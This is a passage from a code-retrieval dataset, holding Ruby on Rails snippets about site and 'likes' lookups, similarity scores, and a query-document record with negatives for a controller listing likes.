"def set_site\n @site = current_account.sites.find(params[:site_id]) if params[:site_id]\n end",
"def set_site\n @site = Cms::Site.find(params[:id])\n end",
"def all_site_details\r\n @nsc.sites\r\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def get_user\n return if @user # no extra http calls\n url = URI.escape(\"#{@options[:cas_server]}/#{@options[:uid]}.#{@options[:format]}\")\n response = Casport.get(url)\n if response.success?\n @user = response.parsed_response\n else\n @user = nil\n end\n end",
"def url\n \"#{@client.site_url}/#{id}\"\n end",
"def site_id\n if @site_id.nil?\n # FIXME: This is ugly.\n context.routing_manager.routing_table.site_id_for_device_id(id)\n else\n @site_id\n end\n end",
"def current_site\n @current_site ||= Site.find_by_subdomain! subdomain\n end",
"def get_details\n return self if detailed?\n res = client.get(path_base).to_h\n update(res)\n res\n end",
"def website\n _model.profile_links.where(profile_link_site_id: 29).first&.url\n end",
"def get_site(state_params)\n # site id will typically be provided by apps that know the site that contains the Canvas url they want to OAuth\n # with but they may or may not have an associated application instance.\n if state_params[\"site_id\"].present?\n site = Site.find(state_params[\"site_id\"])\n end\n # LTI apps will typically have the oauth_consumer_key available\n if site.blank?\n application_instance =\n LtiAdvantage::Authorization.application_instance_from_token(state_params[\"id_token\"]) ||\n ApplicationInstance.find_by(lti_key: state_params[\"oauth_consumer_key\"])\n site = application_instance.site\n end\n site\n end",
"def snippet_user_agent_details(id)\n get(\"/snippets/#{id}/user_agent_detail\")\n end",
"def show\n @site = Site.find(params[:id])\n\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n \n end\n end",
"def current_site\n @site = Site.first\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def set_site\n @site = Site.find(params[:id])\n end",
"def current_uid(data=nil)\n set_get __method__, data\n end",
"def set_siteuser\n @siteuser = Siteuser.find(params[:id])\n end",
"def sites\n if permission.value.positive?\n Site.all_cached\n else\n Rails.cache.fetch(\"user_#{id}_sites\", expires_in: 1.month, race_condition_ttl: 30.seconds) do\n puts 'user sites not cached'\n connections.map { |c| Site.find(c.site_id) }.sort_by(&:title)\n end\n end\n end",
"def payload\n @payload ||= site.site_payload\n end",
"def get_site_property( site_id, property_name )\n client = prepare_request( @service_wsdl )\n\n response = do_request_and_handle_errors do\n client.request :get_site_property do |soap|\n soap.body = {:sessionid => @session, :siteid => site_id, :propname => property_name}\n end\n end\n\n result = response.to_hash[:get_site_property_response][:get_site_property_return]\n\n (result.kind_of? Hash) ? (return false) : (return true)\n end",
"def set_microsite\n @microsite = Microsite.find(params[:id])\n end",
"def get_user_id_harvest\n harvest_uri = URI(\"https://api.harvestapp.com/v2/users/me\")\n\n Net::HTTP.start(harvest_uri.host, harvest_uri.port, use_ssl: true) do |http|\n harvest_request = Net::HTTP::Get.new harvest_uri\n\n harvest_request[\"Authorization\"] = \"Bearer #{harvest_access_token}\"\n harvest_request[\"Harvest-Account-ID\"] = harvest_account_id\n harvest_request[\"User-Agent\"] = harvest_user_agent\n \n harvest_response = http.request harvest_request\n json_response = JSON.parse(harvest_response.body)\n return json_response[\"id\"]\n end\n end",
"def site_data\n @site_data ||= (config[\"data\"] || data)\n end",
"def get_user_data(uid)\n @conn.get(\"/api/v1/users/#{uid}\")\n end",
"def site_value\n return @site_value if @site_value.present?\n\n context.send(\"#{name}_iframe\") { |frame| @site_value = frame.class.send(:site_value) }\n end",
"def set_site\n @site = Site.find_by({slug: params[:site_slug]})\n\n if (@site.routes.any?)\n # We just want a valid URL for the site\n @url = @site.routes.first.host\n end\n end",
"def set_site_datum\n @site_datum = SiteDatum.find(params[:id])\n end",
"def site_id=(value)\n @site_id = value\n end",
"def show\n @site = Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n end",
"def show\n @site = Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n end",
"def show\n @site = Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n end",
"def discover_current_site\n site_from_host\n end",
"def show\n @site = Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @site }\n end\n end",
"def site\n # Not using superclass_delegating_reader because don't want subclasses \n # to modify superclass instance\n #\n if defined?(@site)\n @site\n elsif superclass != Object && superclass.site\n superclass.site.dup.freeze\n end\n end",
"def set_site_setting\n @site_setting = Site::Setting.api(@api_keys_array).find(params[:id])\n end",
"def site_admin\n @attributes[:site_admin]\n end"
] |
[
"0.61289465",
"0.5512622",
"0.5508035",
"0.5489653",
"0.5458613",
"0.54338104",
"0.5417794",
"0.53828555",
"0.538107",
"0.5327955",
"0.5324578",
"0.53003526",
"0.5295587",
"0.5248692",
"0.5243255",
"0.52392995",
"0.5217557",
"0.5206366",
"0.52001184",
"0.5194564",
"0.5186917",
"0.5167697",
"0.51675856",
"0.51491433",
"0.5130395",
"0.5130238",
"0.51281667",
"0.51136065",
"0.51136065",
"0.5110914",
"0.510007",
"0.50811124",
"0.5057224",
"0.5053434",
"0.5050994",
"0.50452954",
"0.50188285",
"0.5010489",
"0.49991608",
"0.4975015",
"0.4949986",
"0.49460915",
"0.4940755",
"0.49337256",
"0.49086067",
"0.49060044",
"0.4894786",
"0.48933163",
"0.48851186",
"0.4875993",
"0.4875862",
"0.4867049",
"0.48627856",
"0.4858912",
"0.48532543",
"0.48531196",
"0.48494753",
"0.48486823",
"0.4847688",
"0.4843148",
"0.4842416",
"0.48407874",
"0.4826062",
"0.48248073",
"0.4820501",
"0.4820501",
"0.4820501",
"0.4820501",
"0.4820501",
"0.4820501",
"0.4820501",
"0.4820501",
"0.4820501",
"0.4820501",
"0.4820501",
"0.4820501",
"0.4820501",
"0.4820501",
"0.4820501",
"0.4819962",
"0.48140734",
"0.48087215",
"0.48068008",
"0.48033768",
"0.4797972",
"0.47860572",
"0.47765493",
"0.47687018",
"0.47612342",
"0.47560695",
"0.47544402",
"0.47523728",
"0.47502697",
"0.47502697",
"0.47502697",
"0.47442007",
"0.47244352",
"0.47243255",
"0.47237083",
"0.47027877"
] |
0.7929458
|
0
|
GET /likes Mostra todos os likes
|
def index
@likes = Like.all
render json: @likes, status: 200
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @likes = Like.all\n end",
"def index\n @likes = Like.all\n end",
"def likes(options = {})\n urn = options.delete(:urn)\n path = \"/socialActions/#{urn}/likes\"\n get(path, options)\n end",
"def set_likes\n @likes = likes.find(params[:id])\n end",
"def index\n @todo_likes = @todo_user.likes\n @todo_likes = @todo_likes.includes(:task_list)\n @todo_likes = @todo_likes.merge(Todo::TaskList.visible_by(@todo_user)).references(:task_list)\n @todo_likes = @todo_likes.paginate(page: params.fetch(:page, 1))\n end",
"def likes( params={} )\n likes = get_connections(\"likes\", params)\n return map_connections likes, :to => Facebook::Graph::Like\n end",
"def index\n @user_likes = UserLike.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_likes }\n end\n end",
"def get_likes media_id\n url = API + \"media/#{media_id}/likes?access_token=\" + @access_token\n get(url)['data'].map {|data| data}\n end",
"def likes( params={} )\n likes = get_connections(\"likes\", params)\n return map_connections likes, :to => Facebook::Graph::Generic\n end",
"def index\n @post_likes = PostLike.all\n end",
"def user_likes\n user = User.find(params[:user_id])\n likes = user.likes\n render json: likes\n\nend",
"def postlikes\n render json: @likes.length, status: 200\n end",
"def index\n @user_post_likes = UserPostLike.all\n end",
"def likes\n\t\t@likes ||= fetch_likes\n\tend",
"def index\n @likes = Like.where(tweet_id: params[:tweet_id])\n @tweets = Tweet.paginate(page: params[:page], per_page: 10)\n end",
"def liked\n get '/users/self/media/liked', auth_params\n end",
"def index\n @hitcher_likes = HitcherLike.all\n end",
"def moment_likes(moment_id)\n get(\"/v1/moments/#{moment_id}/likes\")\n end",
"def likes\n @likes = @person.likes\n end",
"def index\n @like_system_likes = LikeSystem::Like.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @like_system_likes }\n end\n end",
"def object_likes(uid, options = {})\n fetch_all = options.delete(:fetch_all)\n\n params = { \n :owner_id => user.identifier,\n :count => 1000, \n :type => \"post\", \n :item_id => uid,\n :offset => 0\n }\n params.merge!(options)\n \n if fetch_all\n return fetch_all_method_items(\"likes.getList\", params)\n end\n\n\n user.likes.getList(params)\n end",
"def likes\n @page.like_count\n end",
"def index\n @c_likes = CLike.all\n if params[:comment_id].present?\n like = CLike.find_by(user_id: current_user.id, comment_id: params[:comment_id])\n render json: {status: 'success', like: like, counts: CLike.where(comment_id: params[:comment_id]).count, liked: like.present?}\n end\n end",
"def index\n @question_likes = QuestionLike.all\n end",
"def index\n @articles = Article.show_like_list\n end",
"def show\n @likes = Like.where(tweet_id: @tweet)\n end",
"def get_likes(id, type)\r\n\t\treturn Like.where(user_id: self.id, likeable_type: type, likeable_id: id)\r\n\tend",
"def index\n @dislikes = Dislike.find_user_dislikes(params[:user_id])\n render :index\n end",
"def index\n @idea_likes = IdeaLike.all\n end",
"def find_like\n @like = @post.likes.find(params[:id])\n end",
"def index\n @notifylikes = Notifylike.all\n end",
"def all_likes\n get_likes_of(self)\n end",
"def index\n @like_lists = LikeList.all\n end",
"def likes(fields: nil, cursor: nil, limit: nil)\n get_pins_collection(\"/me/likes/\", nil, fields, cursor, limit)\n end",
"def index\n @likes = Like.in_conference(current_conference).all\n end",
"def fb_likes_url(access_token)\n \"https://graph.facebook.com/#{self.fb_object_id}?\" \\\n \"access_token=#{access_token}&fields=id,likes&\" \\\n \"likes.limit=50\"\n end",
"def likes\n likers(User).count\n end",
"def show\n @tweet = Tweet.find(params[:id]) #Encontramos el tweet segun el ID\n @tweet_likes = @tweet.likes #Creamos la variable para mostrar los usuarios que le dieron el like\n end",
"def likes\n likes_response = client.get(\"/venues/#{id}/likes\")[\"response\"]\n @likes = {}\n if likes_response[\"likes\"]\n @likes.merge!(likes_response[\"likes\"])\n if @likes[\"groups\"]\n @likes[\"groups\"].each do |group|\n group[\"items\"].map!{|item| Foursquared::Response::User.new(client, item)}\n end\n end\n end\n @likes\n end",
"def index\n @script_likes = ScriptLike.all\n end",
"def like\n tweet = Tweet.find(params[:tweet_id]) #id del tweet\n flash[:notice] = \"NO puedes dar dos likes sobre el mismo tweet\" if tweet.likes.pluck(:user_id).include? (current_user.id)\n new_like = Like.create(tweet: tweet, user: current_user)#nos permite crear el like\n redirect_to root_path #redirecciona al index\n end",
"def index\n @dislikes = Dislike.all\n end",
"def like!\n connection.post(\"/photos/#{id}/like\")\n true\n end",
"def set_postlike\n @likes = Like.where(post_id: params[:post_id])\n end",
"def venue_likes(id)\n get(\"venues/#{id}/likes\").likes\n end",
"def show\n @tweet_likes = @tweet.likes\n end",
"def blog_likes(blog_name, options = {})\n validate_options([:limit, :offset, :before, :after], options)\n url = blog_path(blog_name, 'likes')\n\n params = { :api_key => @consumer_key }\n params.merge! options\n get(url, params)\n end",
"def likes_given(user_id)\n likes = Like.where(user_id: user_id)\n end",
"def index\n @look_a_likes = LookALike.all\n end",
"def index\n @trans_likes = TransLike.all\n end",
"def index\n @music_likes = MusicLike.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @music_likes }\n end\n end",
"def like!(options = {})\n post(options.merge(:connection => :likes))\n end",
"def blog_likes(blog_name, options = {})\n validate_options([:limit, :offset], options)\n url = \"v2/blog/#{blog_name}/likes\"\n\n params = { :api_key => @consumer_key }\n params.merge! options\n get(url, params)\n end",
"def likes(options={})\n likes = post(\"/v2/user/likes\", options)\n\n likes.body[\"response\"][\"liked_posts\"].map do |post|\n TumblrV2Api::Post.new(post)\n end\n end",
"def retrieve_user_likes(uid, order=nil, per_page=nil, page=nil)\n response = get(\"/api/v1/users/#{uid}/likes\", query: {order: order, per_page: per_page, page: page})\n ITout::Touts.new.from_response(response)\n end",
"def getClientLikes()\n\t\tmy_likes = Array.new\n\t\tcleaned_up = Array.new\n\t\tlikes = $client.likes :limit => 20\n\t\tlikes[\"liked_posts\"].each do |like|\n\t\t\tif(like[\"type\"] === \"quote\" || like[\"type\" === \"text\"])\n\t\t\t\tmy_likes.push(like[\"text\"])\n\t\t\tend\n\t\tend\n\t\tmy_likes\n\tend",
"def like\n if @vote\n authorize! :like, @vote\n @vote.like\n else \n authorize! :create_vote, @votable.votes.new\n @votable.votes.create(user: current_user, nominal: 'like')\n end\n\n rating_respond_with_json\n end",
"def get_facebook_likes_count\n graph = Koala::Facebook::API.new(FACEBOOK_OAUTH_TOKEN)\n fb_page_id = @pages[:facebook].href.split('/').last\n number_of_likes = begin\n id = graph.get_object(fb_page_id)[\"id\"]\n graph.get_object(id + \"?fields=likes\")[\"likes\"]\n rescue\n 0\n end\n number_of_likes\n end",
"def likes(like_type = :all)\n case like_type\n when :tracks\n scrape_for(:liked_tracks, :get_liked_tracks)\n when :artists\n scrape_for(:liked_artists, :get_liked_artists)\n when :stations\n scrape_for(:liked_stations, :get_liked_stations)\n when :albums\n scrape_for(:liked_albums, :get_liked_albums)\n when :all\n { artists: likes(:artists),\n albums: likes(:albums),\n stations: likes(:stations),\n tracks: likes(:tracks) }\n end\n end",
"def like\n like = API.like(params[:id], params[:access_token], params[:token_secret])\n if like['photo'].nil?\n render :json => like\n else\n render :json => {success: true}\n end\n end",
"def create\n @todo_like = Todo::Like.new(todo_like_params)\n @todo_user.likes << @todo_like\n\n if @todo_like.save\n render :show, status: :created\n else\n render_error @todo_like, status: :unprocessable_entity\n end\n end",
"def likes\n verbs_of_interest = %w[like unlike]\n\n query = Activity.joins(:verb)\n .with_actor_id(id: guid)\n .with_target_id(id: nil)\n .merge(Verb.with_display_name(name: verbs_of_interest))\n\n @likes ||= query.group(:activity_object_id).having(\"COUNT(1) % 2 == 1\")\n end",
"def like\n \t\t@likes = Like.first\n \t\t@likes.increment(:counter)\n \t\t@likes.save\n \t\tredirect_to '/'\n \tend",
"def index\n @liked_posts = LikedPost.all\n end",
"def index\n\n if params[:q]\n @tweets = Tweet.where('content LIKE ?', \"%#{params[:q]}%\").order(created_at: :desc).page params[:page]\n elsif user_signed_in?\n @tweets = Tweet.tweets_for_me(current_user).or(current_user.tweets).order(created_at: :desc).page params[:page]\n else\n @tweets = Tweet.eager_load(:user, :likes).order(created_at: :desc).page params[:page]\n end\n\n @tweet = Tweet.new\n @user_likes = Like.where(user: current_user).pluck(:tweet_id)\n end",
"def likes(user_id)\n from_instagram = retrieve_last_10_photos(user_id)\n\n all_likes = from_instagram[\"data\"].map do |datum|\n datum[\"likes\"][\"count\"]\n end\n\n all_likes = all_likes.reduce(:+)\n\n return all_likes\n end",
"def create_likes\n end",
"def create_likes\n end",
"def create_likes\n end",
"def likes\n UserReaction.where(note_id: self.id, like: 1).count\n end",
"def tip_likes tip_id\n response = get(\"/tips/#{tip_id}/likes\")[\"response\"]\n @likes = response[\"likes\"]\n @likes[\"groups\"].each{ |group| group[\"items\"].map!{|item| Foursquared::Response::User.new(client, item)}} if @likes and @likes[\"groups\"]\n end",
"def index\n @likes = target.likes.includes(:author => :profile)\n @people = @likes.map(&:author)\n\n respond_to do |format|\n format.all { render :layout => false }\n format.json { render :json => @likes.as_api_response(:backbone) }\n end\n end",
"def like\n post_id = params[:id]\n @post = Post.where(:id => post_id).first\n if current_user && @post\n if @post.is_like?(current_user.id)\n @post.unlike(current_user.id)\n render :text => \"<span class='badge badge-success'> #{@post.get_likes_count}</span> Like\" \n else\n @post.like(current_user.id)\n render :text => \"<span class='badge badge-success'> #{@post.get_likes_count}</span> UnLike\" \n end\n return\n end\n render :text => 'fail' and return\n end",
"def increment_likes\n sneaker = find_sneaker\n sneaker.update(likes: sneaker.likes + 1)\n render json: sneaker\n end",
"def likes\n Activity.joins(:activity_verb).where('activity_verbs.name' => \"like\").\n joins(:activity_objects).where('activity_objects.id' => activity_object_id)\n end",
"def like(user)\n likes << Like.new(user: user)\n end",
"def likes\n query = \"SELECT COUNT(*) AS num_likes FROM likes WHERE post_id = #{id}\"\n result = DATABASE.execute(query)[0]\n return result[\"num_likes\"]\n end",
"def setLike(value)\n @likes = value\n end",
"def index\n\n if current_user\n # @cats = Cat.where.not(user_id: current_user.id)\n # .paginate(page: params[:page], per_page:8)\n\n liked_cat_ids = current_user.likes.pluck(:cat_id)\n\n i = 0\n cat_number = Cat.where.not(user: current_user).size\n while i < cat_number do\n i += 1\n all_cat_ids = Cat.where.not(user: current_user).pluck(:id)\n random_cat_id = (all_cat_ids - liked_cat_ids).sample\n @new_cat = Cat.where(id: random_cat_id).first\n Like.exists?(cat_id: random_cat_id, user_id: current_user.id) ? (@new_cat = nil) : break\n end\n render :cat\n else\n @cats = Cat.all\n end\n end",
"def all_likes_by_model(model)\n get_likes_of(self, model)\n end",
"def likes(username, opts={})\n opts = opts.merge({:https => @https})\n Likes.likes(username, @api_key, opts)\n end",
"def likes(force = false)\n if force || @likes.nil?\n @likes = flags.all(:conditions => { :reason => 'like' })\n end\n @likes\n end",
"def likes\n @likes ||= raw[\"tumblr\"][\"posts\"][\"post\"].collect do |raw_like|\n if raw_like[\"type\"] == \"regular\"\n title = raw_like[\"regular_title\"]\n body = raw_like[\"regular_body\"]\n type = \"text\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"quote\"\n title = raw_like[\"quote_text\"]\n body = raw_like[\"quote_source\"]\n type = \"text\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"photo\"\n title = raw_like[\"photo_caption\"]\n body = raw_like[\"photo_caption\"]\n type = \"photo\"\n photo_url = raw_like[\"photo_url\"].last\n elsif raw_like[\"type\"] == \"link\"\n title = raw_like[\"link_text\"]\n body = raw_like[\"link_description\"]\n type = \"text\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"conversation\"\n title = raw_like[\"conversation_title\"]\n body = raw_like[\"conversation_text\"]\n type = \"text\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"video\"\n title = raw_like[\"video_caption\"]\n body = raw_like[\"video_player\"]\n type = \"video\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"audio\"\n title = raw_like[\"audio_caption\"]\n body = raw_like[\"audio_player\"]\n type = \"audio\"\n photo_url = nil\n end\n\n Butterfly::Like.new({\n :service => \"tumblr\",\n :id => raw_like[\"id\"],\n :title => title,\n :description => body,\n :created_at => Time.at(raw_like[\"unix_timestamp\"].to_i),\n :liked_at => nil,\n :tags => raw_like[\"tag\"],\n :photo_url => photo_url,\n :url => raw_like[\"url_with_slug\"],\n :type => type,\n :user => Butterfly::User.new({\n :id => raw_like[\"tumblelog\"],\n :username => raw_like[\"tumblelog\"],\n :name => raw_like[\"tumblelog\"],\n :service_url => \"#{raw_like[\"tumblelog\"]}.tumblr.com\",\n :photo_url => nil,\n :website_url => nil,\n :location => nil,\n })\n })\n end\n end",
"def show\n @comments = Comment.where(post_id: params[:id])\n if logged_in?\n #@like = Like.where(post_id: params[:id], user_id: current_user.id)\n \n if params[:havelike] == '1'\n if params[:like] == '1'\n @like = Like.new(:post_id => params[:id], :user_id => current_user.id)\n @like.save\n else\n Like.find_by_sql(\"delete from Likes where post_id = \" + params[:id] + \" and user_id = \" + current_user.id.to_s )\n end\n end\n @likes = Like.find_by_sql(\"select * from Likes where post_id = \" + params[:id] + \" and user_id = \" + current_user.id.to_s )\n end\n \n end",
"def like\n if params[:post_id]\n likeable = Comment.find(params[:id])\n what = \"Comment\"\n else\n likeable = Post.find(params[:id])\n what = \"Post\"\n end\n like = likeable.likes.where(:user_id => current_user.id).first || Like.new\n unless like.id\n like.likeable = likeable\n like.user = current_user\n like.save\n redirect_to back_page_post, flash: { :success => what + ' was liked.' }\n else\n like.destroy\n redirect_to back_page_post, flash: { :success => what + ' was unliked.' }\n end\n end",
"def likes\n return (@likes.present?) ? @likes : ActiveRecord::Base.connection.execute(\"SELECT COUNT(news_id) AS count FROM newslikes WHERE news_id = #{self.id.to_s}\")[0][\"count\"]\n end",
"def likes\n Like.where(:song_path => path).group(:user_id)\n end",
"def index\n @like_logs = LikeLog.all\n end",
"def like(params,userid)\r\n db = connect_non_hash()\r\n likedposts=db.execute(\"SELECT likes.postid FROM likes WHERE userid=(?)\", userid)\r\n likedposts = likedposts.flatten\r\n if likedposts.include? params[\"postid\"].to_i\r\n redirect('/cantliketwice')\r\n else\r\n db.execute(\"INSERT INTO likes(userid, postid) VALUES (?, ?)\", userid, params[\"postid\"])\r\n redirect('/posts')\r\n end\r\n end",
"def likes(user_id)\n from_instagram = retrieve_last_10_photos(user_id)\n number_of_photos = from_instagram[\"data\"].size\n all_likes = Array.new\n i = 0\n while i < number_of_photos\n likes = from_instagram[\"data\"][i][\"likes\"][\"count\"]\n all_likes.push(likes)\n i = i + 1\n end\n\n all_likes = all_likes.reduce(:+)\n\n return all_likes\n end",
"def index\n\t@gossips = Gosssip.all\n\t@gossips_likes = Like.gossips(current_user.id)\n\t#@likes = Like.where(user_id: current_user.id)\n\n\t# Méthode qui récupère tous les potins et les envoie à la view index (index.html.erb) pour affichage\n end",
"def show\n @user_like = UserLike.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_like }\n end\n end",
"def model_likes(args)\n options = set_model_likes_defaults(args)\n set_common_options(options)\n \n if options[:b_return_likes_totals]\n totals = make_likes_totals(options)\n end\n \n return model_make_results(options, nil, totals) \n end",
"def likes_count\n self.likes.size\n end",
"def index\n #Busqueda Parcial del contenido\n if params[:q]\n @tweets = Tweet.where('content LIKE ?', \"%#{params[:q]}%\").order(created_at: :desc).page params[:page]\n elsif user_signed_in?\n @tweets = Tweet.tweets_for_me(current_user).or(current_user.tweets).order(created_at: :desc).page params[:page]\n else\n @tweets = Tweet.all.order(created_at: :desc).page params[:page]\n #@tweets = Tweet.eager_load(:likes).order(created_at: :desc).page params[:page] #Ordenando la vista dejando el ultimo creado en primera posicion\n end\n @tweet = Tweet.new #Accion para crear un tweet\n @user_likes = Like.where(user: current_user).pluck(:tweet_id)\n @users = User.where.not(id: current_user.id).last(5) if user_signed_in?\n #@user_likes = Like.eager_load(:user, :tweet).where(user: current_user).pluck(:tweet_id)\n #@users = User.where('id IS NOT ?', current_user.id).last(5) if user_signed_in?\n end",
"def like\n @comment.liked_by current_user\n end",
"def liked\n @user = User.from_param params[:id]\n @beers = @user.liked_beers\n\n respond_to do |format|\n format.json { render_for_api :public, :json => @beers }\n format.xml { render_for_api :public, :xml => @beers }\n end\n end",
"def add_like\n post = Post.find(params[:id])\n post.add_like\n render nothing: true\n end",
"def get_random_like(client)\n likes = client.favorites(self.get_uid_int, options = {count: 5})\n like = likes.sample\n end",
"def show\n render json: Like.find(params[\"id\"])\n end"
] |
[
"0.7544764",
"0.7544764",
"0.7470378",
"0.7364153",
"0.7342139",
"0.7328079",
"0.73216075",
"0.7293337",
"0.7274337",
"0.72464454",
"0.7214664",
"0.72048587",
"0.7202439",
"0.709546",
"0.7057871",
"0.7054916",
"0.70053536",
"0.6981248",
"0.6981153",
"0.6978274",
"0.69717467",
"0.6961249",
"0.69551986",
"0.69203746",
"0.6908302",
"0.688671",
"0.6847105",
"0.68248457",
"0.682314",
"0.68024945",
"0.6796831",
"0.67425585",
"0.67384624",
"0.6712473",
"0.67044806",
"0.67041415",
"0.66995865",
"0.6687978",
"0.6687723",
"0.66768104",
"0.66675717",
"0.66663235",
"0.66560113",
"0.6638634",
"0.6636759",
"0.6634743",
"0.6634112",
"0.66331536",
"0.6626228",
"0.6624322",
"0.66217446",
"0.6575919",
"0.65675724",
"0.65550196",
"0.65474015",
"0.654713",
"0.65464675",
"0.6535422",
"0.6535281",
"0.6530346",
"0.6525962",
"0.6518937",
"0.65091413",
"0.65070593",
"0.6504491",
"0.6496386",
"0.64876646",
"0.64876646",
"0.64876646",
"0.6473809",
"0.646944",
"0.6453502",
"0.6451147",
"0.64469427",
"0.64424",
"0.6441678",
"0.6435342",
"0.64288247",
"0.6393849",
"0.63913924",
"0.63888365",
"0.6377332",
"0.6373494",
"0.6348461",
"0.6346079",
"0.6334096",
"0.6321509",
"0.6310618",
"0.6307858",
"0.6286182",
"0.62779474",
"0.6275612",
"0.6264556",
"0.62602365",
"0.6246725",
"0.6246429",
"0.62430793",
"0.62370807",
"0.6231294",
"0.6227582"
] |
0.76030463
|
0
|
GET /likes/post/:post_id Mostra os likes no post com id especificada
|
def postlikes
render json: @likes.length, status: 200
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_like\n @like = @post.likes.find(params[:id])\n end",
"def set_postlike\n @likes = Like.where(post_id: params[:post_id])\n end",
"def like\n if params[:post_id]\n likeable = Comment.find(params[:id])\n what = \"Comment\"\n else\n likeable = Post.find(params[:id])\n what = \"Post\"\n end\n like = likeable.likes.where(:user_id => current_user.id).first || Like.new\n unless like.id\n like.likeable = likeable\n like.user = current_user\n like.save\n redirect_to back_page_post, flash: { :success => what + ' was liked.' }\n else\n like.destroy\n redirect_to back_page_post, flash: { :success => what + ' was unliked.' }\n end\n end",
"def like\n post_id = params[:id]\n @post = Post.where(:id => post_id).first\n if current_user && @post\n if @post.is_like?(current_user.id)\n @post.unlike(current_user.id)\n render :text => \"<span class='badge badge-success'> #{@post.get_likes_count}</span> Like\" \n else\n @post.like(current_user.id)\n render :text => \"<span class='badge badge-success'> #{@post.get_likes_count}</span> UnLike\" \n end\n return\n end\n render :text => 'fail' and return\n end",
"def like?(post)\n self.likes.where(post_id: post.id.to_s)\n end",
"def set_post\n @post = Post.find(params[:id])\n @likes = @post.likes\n @liked_by = @likes.find { |like| like.user_id == current_user.id }\n end",
"def like_post!(post)\n likes.create!(epost_id: post.id, like: 1)\n end",
"def set_post_like\n @post_like = PostLike.find(params[:id])\n end",
"def liked_post(post)\n if current_user.voted_for? post\n return link_to '', unlike_post_path(post), remote: true, id: \"like_#{post.id}\", \n class: \"glyphicon glyphicon-heart liked_post_heart\"\n else\n link_to '', like_post_path(post), remote: true, id: \"like_#{post.id}\", \n class: \"glyphicon glyphicon-heart-empty\" \n end\n end",
"def add_like\n post = Post.find(params[:id])\n post.add_like\n render nothing: true\n end",
"def liked_post(post)\n if current_user.voted_for? post\n return [unlike_post_path(post.id),'glyphicon-heart']\n else\n return [like_post_path(post.id),'glyphicon-heart-empty']\n end\n end",
"def liked?(post_id)\n Like.where(post_id: post_id, user_id: self.id).exists?\n end",
"def like\n @topic = Topic.find(params[:topic_id])\n @post = @topic.posts.find(params[:id])\n if @post.not_liked_already?(current_user)\n @post.likes.create(user: current_user)\n redirect_to [@post.topic, @post]\n else\n @post.likes.where(user: current_user).destroy_all\n redirect_to [@post.topic, @post]\n end\n end",
"def like(params,userid)\r\n db = connect_non_hash()\r\n likedposts=db.execute(\"SELECT likes.postid FROM likes WHERE userid=(?)\", userid)\r\n likedposts = likedposts.flatten\r\n if likedposts.include? params[\"postid\"].to_i\r\n redirect('/cantliketwice')\r\n else\r\n db.execute(\"INSERT INTO likes(userid, postid) VALUES (?, ?)\", userid, params[\"postid\"])\r\n redirect('/posts')\r\n end\r\n end",
"def like_params\n params.require(:like).permit(:post_id)\n end",
"def put_like(id, options = {}, &block)\n # Likes the given post.\n put_connections(id, \"likes\", {}, options, &block)\n end",
"def like!\n connection.post(\"/photos/#{id}/like\")\n true\n end",
"def index\n @post_likes = PostLike.all\n end",
"def like?(post)\n liked_posts.include?(post)\n end",
"def like_params\n\t params.require(:like).permit(:post_id)\n\t end",
"def already_liked?\n Like.where(user_id: current_user.id, post_id: params[:post_id]).exists?\n end",
"def set_likes\n @likes = likes.find(params[:id])\n end",
"def like\n @micropost = Micropost.find(params[:postid])\n if current_user.nil?\n render text: \"no_login\"\n else\n @micropost.like(current_user.id,@micropost.user.id)\n render text: \"liked\"\n end\n \n end",
"def like_params\n params.permit(:user_id, :post_id)\n end",
"def is_liked user\n \tLike.find_by(user_id: user_id, post_id: id)\n end",
"def show\n @comments = Comment.where(post_id: params[:id])\n if logged_in?\n #@like = Like.where(post_id: params[:id], user_id: current_user.id)\n \n if params[:havelike] == '1'\n if params[:like] == '1'\n @like = Like.new(:post_id => params[:id], :user_id => current_user.id)\n @like.save\n else\n Like.find_by_sql(\"delete from Likes where post_id = \" + params[:id] + \" and user_id = \" + current_user.id.to_s )\n end\n end\n @likes = Like.find_by_sql(\"select * from Likes where post_id = \" + params[:id] + \" and user_id = \" + current_user.id.to_s )\n end\n \n end",
"def show\n @post.increment!(:likes_count)\n end",
"def put_like(object_id, options = {})\n # Likes the given post.\n self.put_object(object_id, \"likes\", {}, options)\n end",
"def updated_likes\n @post = Post.find_by_id(params[:id])\n @current_like = @post.likes\n @post.update(likes: (@current_like + 1))\n redirect_to post_path\n end",
"def show\n @user = User.where(id: @post.user_id)[0]\n @likes = UserLike.where(post_id: @post.id)\n end",
"def like_params\n params.require(:like).permit(:id, :user_id, :post_id)\n end",
"def index\n @user_post_likes = UserPostLike.all\n end",
"def like\n @postcomment.liked_by current_user\n redirect_to @urltoredirect\n end",
